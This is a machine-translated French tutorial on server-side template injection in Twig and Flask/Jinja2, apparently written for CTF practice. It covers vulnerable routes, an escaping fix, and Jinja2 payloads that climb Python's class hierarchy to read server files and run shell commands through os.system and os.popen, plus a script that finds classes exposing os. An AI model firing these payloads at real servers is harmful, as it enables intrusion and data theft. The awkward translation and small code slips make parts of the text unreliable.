当前位置:网站首页>Injection de modèles ssti
Injection de modèles ssti
2022-07-19 02:20:00 【Jjj34】
Lien vers le texte original:
SSTI(Injection de modèle)Résumé de base - Jane Book (jianshu.com)
ctfDeWEBExercice 3 - Centre d'essais de pénétration - La blogosphère (cnblogs.com)
SSTIBase:
SSTI“Server Side Template Injection" Injection de modèles côté serveur
Contenu principal
Quel est le modèle?
Principe d'injection du modèle
FlaskIntroduction et utilisation de
Principes
Quel est le modèle??
Le modèle peut être interprété comme un paragraphe bien formé,Le fichier qui vous attend pour remplir l'information.

Principe de base de l'injection de gabarit
L'utilisateur a entré des caractères illégaux,Le Code va l'exécuter,Par exemple:
<?php
require_once(dirname(__FILE__).'/../lib/Twig/Autoloader.php');
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET['name']}"); // L'entrée de l'utilisateur dans le contenu du modèle
echo $output;
?>Entrée de l'utilisateur name=<script>alert(1)</script> Ça arrive.xssVulnérabilité
Différents modèles auront une syntaxe différente ,Utilisation généraleDetect-Identify-Expoit Processus d'utilisation de .
Comment identifier les différents modèles

Base et utilisation des modèles
1.python-Flask
FlaskUtiliserJinja2 Ce moteur de rendu ,InJinja2Moyenne,Par{ { }} En tant qu'identificateur d'emballage variable
1.Routage
[email protected] annoter, Correspond à la ressource et à la fonction
from flask import flask
@app.route('/index/')
def hello_word():
return 'hello word'app.route()Fonction décorative: Comparez la fonction à urlBIND,QuandurlPour http:// ip:port/ indexHeure,flaskAppellehello_wordFonctions
2.Rendre
Il y a deux façons de rendre
1.render_template Rendre un fichier
return render_template('index.html')
2.render_template_string Chaîne de rendu
html = '<h1>This is index page</h1>'
return render_template_string(html)3.Utilisation du modèle
Exemple1:
Structure du fichier:Créer un nouveautemplatesDossiers,Pose ça.htmlFichier modèle
Documentation1.
<!--/templates/index.html-->
<h1>{
{content}}</h1>Documentation2.
#test.py
from flask import *
@app.route('/index/')
def user_login():
return render_template('index.html',content='This is index page.')test.py Ça veut dire... Lorsque l'utilisateur accède http://ip:port/index Heure,Appel de programmeuser_login()Fonctions, Cette fonction va encore index.htmlMoyennecontentLa valeur de la variable est initialisée à This is index page. ; render_template La fonction a raison.index.htmlRendre( La façon de rendre est <h1>{ {content}}</h1>)
Exemple2
@app.route('/test/')
def test():
code = request.args.get('id')
html = '''
<h3>%s</h3>
'''%(code)
return render_template_string(html)Lorsque l'utilisateur accède http://ip:port/testHeure, On pourrait lui passer un nom idVariable de,C'estidIl se résout àhtmlUtilisation du Code;
Quand id = 1</h3> <script>alert(1)</script> <h3>1 Heure,C'est arrivéxssAttaque
Résolution: Échapper l'encodage des caractères entrés par l'utilisateur
@app.route('/test/')
def test():
code = request.args.get('id')
return render_template_string('<h1>{
{ code }}</h1>',code=code)4.Utiliser la méthode
Tout d'abord,,Flask Il y a quelques variables globales ,Par exemple:
{
{config}}
{
{requests.environ}}Comment résoudre le problème:AdoptionpythonHéritage de l'objet, Utilisez la méthode magique étape par étape pour trouver des moyens d'exécuter
Trouver la classe mère<type 'object'> -> Recherche de sous - classes -> Trouver des modules pour l'exécution de commandes ou de fichiers
La méthode magique de l'objet :
__class__ Pour voir la classe à laquelle appartient la variable , La classe à laquelle il appartient peut être obtenue à partir de la forme variable précédente .
__mro__ Renvoie un Tuple de classe de base contenant l'héritage de l'objet,Méthode analyser dans l'ordre des tuples lors de l'analyse
__base__ Renvoie la classe de base héritée de l'objet
// __base__ Et __mro__ C'est pour trouver la classe de base
__subclasses__ Chaque nouvelle classe conserve une référence à la Sous - classe, Cette méthode renvoie la liste des références encore disponibles dans cette classe
// Rechercher les modules disponibles
__init__ Classe d'initialisation,Le type retourné estfunction
__globals__ Il est utilisé comme Nom de la fonction.__globals__AccèsfunctionDisponible dans l'espacemodule、Méthode et toutes les variables.
##os.popen() La méthode est utilisée pour ouvrir un tuyau à partir d'une commande.
##open() La méthode est utilisée pour ouvrir un fichier,Et renvoie l'objet de fichier5.Utiliser le processus
Une démonstration simple
#Accès'' L'objet auquel appartient la chaîne
>>> ''.__class__
<class 'str'>
#AccèsstrLe parent de la classe
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
#Accèsobject Toutes les sous - classes de la classe
>>> ''.__class__.__mro__[1].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>...
#Il y a beaucoup de classes,Omis par la suiteCe que nous devons faire, c'est chercher les classes dont nous avons besoin dans tous les modules disponibles , Obtenu par l'indice du tableau ,Et ensuite exécuter.
1.Lecture du fichier
Les classes disponibles sont No41- Oui. fileCatégorie
''.__class__.__mro__[2].__subclasses__()[40]('<File_To_Read>').read()No91- Oui. <class '_frozen_importlib_external.FileLoader'>
''.__class__.__mro__[2].__subclasses__()[91].get_data(0,"<file_To_Read>")Comment connaître la structure de son répertoire ? dirsearchBalayez.
2.Exécution des commandes
L'exécution des commandes nécessite osClasse du module
Rechercheos Modulaire pythonVoici le script:
num = 0
for item in ''.__class__.__mro__[1].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print (num,item)
num+=1
except:
print ('-')
num+=1Supposons que le numéro de sortie soit x,EtpayloadPour
''.__class__.__mro__[1].__subclasses__()[x].__init__.__globals__['os'].system('ls')Contientos Les classes du module ont :
<class 'site._Printer'>
<class 'site.Quitter'>
config.__class__.__init__.__globals__['os'].popen('ls ../').read()
##os.popen() La méthode est utilisée pour ouvrir un tuyau à partir d'une commande.
##open() La méthode est utilisée pour ouvrir un fichier,Et renvoie l'objet de fichier
C'est comme ouvrir un tuyau pour exécuter une commande , Le résultat de l'exécution est ensuite présenté comme un objet de fichier à .read()Sortie de la fonction边栏推荐
- 笔记一之IDL基础内容:常用数据类型_创建数组_类型转换_print输出_基本运算_关系运算
- 【HDRP高清渲染管道】创建HDRP工程,把内置管线工程升级为HDRP工程
- 成信大ENVI_IDL第二周课堂内容:打开HDF4文件并读取文件以及简单的数据处理和保存+详细解析
- Buaaos-lab0 experimental report
- Oozie integrated sh
- Hash table, bloom filter, distributed consistency hash
- Engineering compilation: makefile and cmake (I)
- gdb+vscode进行调试4——gdb执行相关命令
- RuntimeError_ Input type (torch.FloatTensor) and weight type (torch.cuda.FloatTensor)
- ENVI_ Idl: batch process the re projection of MODIS swath data and output it to GeoTIFF format + detailed analysis
猜你喜欢
随机推荐
【Unity编辑器扩展】查找场景和资源内挂载某脚本的所有对象
Line process of pool components
字符串转换为整数
Difference between close and shutdown
[tools] unity screen drawing line, unity screen drawing Hsj drawing tool
[unity Editor Extension] scriptableobject for internal asset configuration of unity
【Unity编辑器扩展】Unity发布资源到商店流程Unity Asset Store Publish
成信大ENVI_IDL第二周课后作业:提取n个点的气溶胶厚度+详细解析
Build map reduce development environment
gdb+vscode进行调试4——gdb执行相关命令
JS笔记1
池式组件之内存池篇
【解决方案】win11中本地组策略编辑器(gpedit.msc)打不开
Chapter 2 - system control principle - > classical control theory
vscode+ros2环境配置
【Unity面板属性扫盲】导入纹理后设置Texture Import Settings
gdb+vscode进行调试1——使用CMakelist文件进行编译和调试+附加进程调试
Hash table, bloom filter, distributed consistency hash
Leetcode 1: Two Sum
【Unity编辑器扩展】Unity内部Asset资源配置ScriptableObject









